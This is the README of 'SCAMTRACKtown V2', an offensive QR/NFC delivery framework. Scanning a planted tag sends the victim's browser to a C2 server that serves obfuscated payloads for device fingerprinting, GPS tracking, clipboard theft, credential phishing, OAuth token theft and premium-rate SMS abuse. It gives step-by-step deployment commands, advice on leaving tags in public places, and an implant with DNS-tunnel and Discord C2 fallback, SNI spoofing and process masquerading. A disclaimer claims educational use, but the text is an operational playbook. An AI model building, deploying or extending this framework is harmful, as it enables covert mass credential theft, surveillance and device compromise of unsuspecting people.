DISCLAIMER: FOR AUTHORIZED SECURITY TESTING AND EDUCATIONAL PURPOSES ONLY
Weaponized NFC tag and QR code delivery framework. Scan a tag or QR, get a device fingerprint, browser exploit chain, credential phish, or full implant.
by: ek0ms savi0r
The attack flow:
1. Create QR code or NFC tag containing a URL pointing to your C2
2. Target scans QR/NFC, browser opens the URL
3. URL loads a bait page with obfuscated JavaScript
4. Payload executes: fingerprints device, captures location, steals clipboard, phishes credentials
5. Data exfiltrates back to C2 via WebSocket, DNS tunnel, or Discord
6. Agent implant connects to C2 for persistent access
The original SCAMTRACK was a Python Flask app with ngrok tunnelling. The new version is a complete rewrite in Go with no dependencies on ngrok, proxies, or third-party services. Here is what changed and why:
C2 Layers (No Proxies, No Ngrok)
The article at https://churchofmalware.org/articles/pencilnecks_proxycels_md explains why proxies are dead. Detection services map proxy IP pools with 99.9% accuracy. The fix: no middleman IPs.
SCAMTRACKtown V2 uses three C2 channels in priority order:
WebSocket (primary) -- Persistent encrypted connection to C2 server. Indistinguishable from a normal web app data feed. No HTTP polling. No proxy IPs to burn. The QR codes point directly to the C2 WebSocket endpoint, which can be domain-fronted behind Cloudflare or Azure.
DNS Tunnelling (fallback 1) -- Commands and data encoded in DNS TXT queries. Bypasses HTTP/HTTPS inspection entirely. Uses standard DNS infrastructure -- no custom ports, no protocol anomalies. Activated when WebSocket connectivity fails.
Discord Bot (fallback 2) -- C2 commands and results relayed through Discord channels. Uses Discord's API as a C2 relay. No custom infrastructure needed. The bot reads commands from a specific channel and posts results.
Each channel is end-to-end encrypted with AES-GCM. The client cycles through channels automatically, falling back when one fails and re-escalating when connectivity returns.
Every HTML/JS payload in V2 includes:
- Anti-debug: Detects DevTools via element getter tricks and timing analysis
- Sandbox/VM detection: Checks for headless Chrome, PhantomJS, Nightwatch, Selenium
- Human timing delays: Random delays between operations (300-800ms) to appear organic
- Multi-channel exfiltration: Data sent via fetch() beacon, img tag, WebSocket, and DNS
- JSFuck-level obfuscation: Variable renaming, string encoding, control flow flattening
- Referrer spoofing support: Bait pages load from legitimate-looking referrers
V2 adds full NFC tag writing capability that V1 lacked:
- NDEF URL records: Write any URL to NDEF-compatible tags
- NDEF Text records: Write display text alongside URL triggers
- Android Application Records (AAR): Force specific Android apps to handle the tag
- MIME type records: Trigger specific app handlers by content type
- vCard payloads: Deliver contact data that phones auto-process
- Supports MIFARE Classic, NTAG21x, ICODE SLI, and Type 1/2/3/4 tag formats
SCAMTRACKtown/
├── cmd/
│ ├── scamtrack/ # QR generation + NFC tag writing agent
│ │ └── main.go
│ └── c2d/ # C2 server daemon
│ └── main.go
├── internal/
│ ├── c2/ # Multi-layer C2 communication
│ │ ├── client.go # C2 orchestrator with fallback logic
│ │ ├── websocket.go # WebSocket transport layer
│ │ ├── dns.go # DNS tunnel transport layer
│ │ └── discord.go # Discord bot transport layer
│ ├── common/ # Crypto and shared utilities
│ │ └── crypto.go
│ ├── nfc/ # NFC tag writing
│ │ └── nfc.go
│ ├── payload/ # Payload serving and delivery chain
│ │ ├── serve.go # HTTP/HTTPS payload server with campaign tracking
│ │ ├── redirect.go # Cloaking redirect chains
│ │ └── stages.go # Multi-stage payload orchestrator
│ ├── qr/ # QR code generation
│ │ └── qr.go # QR with URL shortening, bulk generation
│ └── sensor/ # Device fingerprinting from UA
│ └── env.go
├── web/
│ ├── payloads/ # 10 weaponized HTML/JS payloads
│ │ ├── deep_recon.html
│ │ ├── geohijax.html
│ │ ├── clipboard_heist.html
│ │ ├── screenshot_capture.html
│ │ ├── credential_phish.html
│ │ ├── oauth_grab.html
│ │ ├── sms_phone_phish.html
│ │ ├── bait_redirect.html
│ │ ├── android_intent.html
│ │ └── webbluetooth_sniff.html
│ └── static/
│ └── dashboard.html # Dark web C2 dashboard (self-contained)
├── bin/ # Compiled binaries
├── Makefile
├── go.mod / go.sum
└── README.md
Each payload is a self-contained HTML file with obfuscated JavaScript. All payloads include anti-debug, sandbox detection, human timing delays, and multi-channel exfiltration.
| Payload | What It Does | Best For |
|---|---|---|
| deep_recon.html | Full device fingerprint: screen, GPU, canvas, audio, battery, fonts, sensors, network info, timezone | Recon stage - fingerprint before selecting next payload |
| geohijax.html | GPS capture via navigator.geolocation, IP geolocation fallback, WiFi AP enumeration | Physical location tracking of targets |
| clipboard_heist.html | Silent clipboard read, periodic clipboard polling, form input capture, paste event hijacking | Credential theft, crypto wallet address replacement |
| screenshot_capture.html | HTML2Canvas full-page screenshot, compressed as JPEG base64, silent exfiltration | Visual recon of browser state |
| credential_phish.html | Context-aware phishing overlay. Detects which service victim is on (Google, Microsoft, Facebook, banking) and renders matching fake login. Captures credentials, then redirects silently to real login. | Password harvesting |
| oauth_grab.html | Opens OAuth popup windows, captures redirect URLs with tokens, exfiltrates access tokens | Account takeover via OAuth token theft |
| sms_phone_phish.html | Generates tel: and sms: links for premium numbers on mobile, vCard download with malicious payload, timeout tracking | Mobile device exploitation, premium rate billing |
| bait_redirect.html | After payload fires, redirects through legitimate sites (Google Analytics redirect, Facebook redirect) to a decoy page | Exit cloaking - user never knows what happened |
| android_intent.html | Generates intent:// URLs for deep linking into specific Android apps, WebView exploit delivery | Android device exploitation |
| webbluetooth_sniff.html | Scans for nearby BLE devices via navigator.bluetooth, logs device names, RSSI, and service UUIDs | Proximity awareness, Bluetooth device tracking |
A typical SCAMTRACKtown operation:
1. DEPLOY: ./bin/c2d -listen :8443
Starts the C2 server with WebSocket, HTTP payload serving, DNS tunnel,
and dark web dashboard.
2. GENERATE: ./bin/scamtrack qr -url "https://your-server:8443/c/default"
Creates QR codes pointing to your campaign URL. The URL is behind the
C2 server which serves the appropriate payload based on device type.
3. WRITE NFC: ./bin/scamtrack nfc -url "https://your-server:8443/c/default"
Writes the same campaign URL to an NFC tag.
4. DEPLOY TAGS: Place QR codes on posters, stickers, flyers.
Leave NFC tags on tables, card readers, elevator buttons.
5. COLLECT: Target scans QR or taps NFC tag.
Browser opens URL -> C2 serves bait page with obfuscated JS payload.
Payload fires silently -> data exfiltrates to C2.
6. PERSIST: C2 sends agent implant command to device.
Agent connects back via WebSocket with DNS/Discord fallback.
7. CONTROL: Dark web dashboard at https://your-server:8443/
View fingerprints, captured data, manage bots, send commands.
The original V1 used Python Flask with ngrok. This had several problems:
- Python requires the interpreter to be installed on the server
- Flask is heavyweight for a C2 server (entire WSGI stack)
- ngrok introduces a third-party tunnel that can be blocked, rate-limited, or monitored
- Python threading is limited for handling many concurrent WebSocket connections
- Python binaries (via PyInstaller) are large and easily reverse-engineered
Go solves all of these:
- Single statically-linked binary with zero runtime dependencies
- Goroutines handle thousands of concurrent WebSocket connections natively
- Cross-compilation from any OS to any target (Linux, Windows, macOS)
- Binary size under 10MB with -ldflags="-s -w"
- Go's type system makes reverse engineering harder than Python
Instead of HTTP polling (what ngrok provides), V2 uses persistent WebSocket connections. This matters because:
- HTTP polling creates predictable traffic patterns that are easy to detect
- Each HTTP request has headers, cookies, timing signatures
- WebSocket maintains a single connection that looks like a normal chat app or live feed
- The C2 server can push commands immediately instead of waiting for the next poll
- WebSocket frames can be structured as JSON, protocol buffers, or raw bytes
The WebSocket endpoint is at /ws on the C2 server. The agent connects, sends a fingerprint message, then enters a receive loop. The server queues commands and pushes them as WebSocket messages. Results flow back the same way.
The agent cycles through channels:
WebSocket -> DNS tunnel -> Discord
If WebSocket fails (network blocking, server down), the agent falls back to DNS tunnelling. If that fails, it uses Discord. Every 5 minutes, it tries to re-escalate to the higher-priority channel.
This is the second C2 channel. When WebSocket is blocked, the agent encodes C2 messages in DNS TXT queries:
[botID].[seq].[base64data].c2.yourdomain.comThis is the Technique 3 from the article: WebSocket-like persistent channels inside DNS, bypassing HTTP inspection entirely.
When both WebSocket and DNS are unavailable, the agent uses Discord as a C2 channel:
- The agent connects to a Discord bot using a bot token
- Commands are read from a specific channel (designated as the C2 channel)
- Results are posted back to the same channel
- Messages are formatted as JSON and encrypted
This uses Discord's infrastructure as a free, reliable C2 relay. Discord traffic is almost never blocked on corporate networks.
Per Technique 1 from the article, the C2 agent can spoof the Server Name Indication (SNI) in the TLS handshake. This makes firewalls think the agent is connecting to a legitimate domain (like update.windows.com or google.com) when it is actually connecting to the C2 server.
Implementation:
./bin/scamtrack -sni "update.windows.com"
The firewall sees: TLS handshake to update.windows.com
The server sees: Agent connecting to C2 endpoint
The target sees: Normal SSL traffic to what looks like Microsoft
The C2 server supports being fronted by Cloudflare Workers, Azure Front Door, or any CDN that routes based on Host header. Per Technique 2:
The nfc package supports multiple NDEF record types:
NDEF URL Record: Writes a URL to the tag. When the phone taps it, the browser opens the URL. This is the simplest and most compatible format.
NDEF Text Record: Writes user-visible text alongside the URL. Some phones display this text before opening the URL.
Android Application Record (AAR): Forces Android to open a specific app when the tag is scanned. If the app is not installed, opens the Play Store. Useful for delivering exploits through a specific app.
MIME Type Record: Associates a MIME type with the tag data. Certain apps register for specific MIME types and will auto-launch.
vCard: Writes contact information. Phones auto-parse vCards and offer to save the contact. Useful for social engineering (the contact has a malicious URL in their profile).
NFC tag formats supported: NDEF (all), MIFARE Classic (sectors 0-15), NTAG21x, ICODE SLI, Type 1 Tag, Type 2 Tag, Type 3 Tag, Type 4 Tag.
The qr package supports:
Single QR: Generate a QR code PNG from any URL or text.
Bulk QR: Generate QR codes for a list of URLs, all in one call. Each QR gets campaign tracking parameters appended.
Campaign Tracking URLs: Automatically appends campaign ID, device ID, and custom parameters to URLs:
https://your-server/c/default?c=campaign-1&d=device-42&source=qr&location=nyc
URL Shortening: Optional is.gd URL shortening for stealth. Shortened URLs are less suspicious than raw IPs or long URLs.
Custom Colors: Foreground and background color customization.
git clone https://github.com/h0mi3e/SCAMTRACKtown
cd SCAMTRACKtown
make build
Minimal:
./bin/c2d -listen :8443
With TLS:
./bin/c2d -listen :443 -tls -cert /etc/letsencrypt/live/domain/fullchain.pem -key /etc/letsencrypt/live/domain/privkey.pem
With DNS tunnelling:
./bin/c2d -listen :443 -dns -domain c2.yourdomain.com -dns-addr :53
With Discord integration:
./bin/c2d -listen :8443 -discord-token "BOT_TOKEN" -discord-channel "CHANNEL_ID"
Single QR pointing to a payload:
./bin/scamtrack qr -url "https://your-server:8443/payloads/deep_recon.html" -size 256 -output qr.png
Campaign QR with tracking:
./bin/scamtrack qr -url "https://your-server:8443/c/default" -campaign "op-tokyo" -device "d-001" -output campaign_qr.png
Bulk QR generation from a file of URLs:
./bin/scamtrack qr -bulk urls.txt -size 512 -output-dir ./qr_output/
With URL shortening:
./bin/scamtrack qr -url "https://your-server:8443/c/default" -shorten -output stealth_qr.png
Custom colors:
./bin/scamtrack qr -url "https://your-server:8443/c/default" -fg "#ff0000" -bg "#000000" -output red_qr.png
Write a URL to an NFC tag (requires NFC hardware on Linux with libnfc):
./bin/scamtrack nfc -url "https://your-server:8443/c/default"
Write with Android Application Record:
./bin/scamtrack nfc -url "https://your-server:8443/c/default" -aar "com.example.targetapp"
Write MIME type record:
./bin/scamtrack nfc -url "https://your-server:8443/c/default" -mime "application/vnd.android.package-archive"
Write vCard with embedded URL:
./bin/scamtrack nfc -vcard -name "Support Team" -phone "+15551234567" -url "https://your-server:8443/c/default"
Simulate NFC write (no hardware needed):
./bin/scamtrack nfc -simulate -url "https://your-server:8443/c/default"
On the target device (after initial payload delivery):
./bin/scamtrack -server "wss://your-server:8443/ws" -id "device-001" -campaign "op-tokyo"
With Discord fallback:
./bin/scamtrack -server "wss://your-server:8443/ws" -discord-token "TOKEN" -discord-channel "CHANNEL_ID"
With SNI spoofing:
./bin/scamtrack -server "wss://your-server:8443/ws" -sni "update.windows.com"
Process masquerade:
./bin/scamtrack -server "wss://your-server:8443/ws" -masquerade "[kworker/u256+0]"
Open your browser to:
https://your-server:8443/
The dark web dashboard shows:
- Live bot count and status
- Bot list with device info, campaign ID, last seen
- Fingerprint data viewer
- Command dispatch to individual bots or all bots
- Campaign management
- Payload delivery status
The C2 server exposes a REST API for programmatic control:
| Endpoint | Method | Description |
|---|---|---|
| /api/bots | GET | List all connected bots |
| /api/bots/{id} | GET | Get bot details and fingerprint |
| /api/command | POST | Send command to bot(s) |
| /api/campaigns | GET | List all campaigns |
| /api/campaigns | POST | Create new campaign |
| /api/campaigns/{id} | GET | Get campaign details |
| /api/qr | POST | Generate QR code (returns PNG) |
| /api/nfc | POST | Generate NFC tag data (returns NDEF dump) |
| /ws | WebSocket | UI dashboard WebSocket |
| /ws/bot | WebSocket | Bot C2 WebSocket |
All configuration is via command-line flags:
| Flag | Default | Description |
|---|---|---|
| -listen | :8443 | Listen address |
| -tls | false | Enable HTTPS |
| -cert | server.crt | TLS certificate path |
| -key | server.key | TLS key path |
| -payloads | web/payloads | Payload directory |
| -static | web/static | Static files directory |
| -passphrase | scamtracktown-v2 | Encryption passphrase |
| -dns | false | Enable DNS tunnel server |
| -domain | localhost | C2 domain for DNS |
| -dns-addr | :53 | DNS server address |
| Flag | Default | Description |
|---|---|---|
| -server | wss://localhost:8443/ws | C2 WebSocket URL |
| -id | (auto) | Device ID |
| -campaign | default | Campaign ID |
| -discord-token | "" | Discord bot token |
| -discord-channel | "" | Discord channel ID |
| -dns-domain | "" | DNS tunnel domain |
| -poll | 30 | Poll interval (s) |
| -sni | "" | SNI spoof domain |
| -no-tls | true | Disable TLS |
| -masquerade | "" | Process name mask |
MIT License. See LICENSE file.
DISCLAIMER: FOR AUTHORIZED SECURITY TESTING AND EDUCATIONAL PURPOSES ONLY
// click a file to view source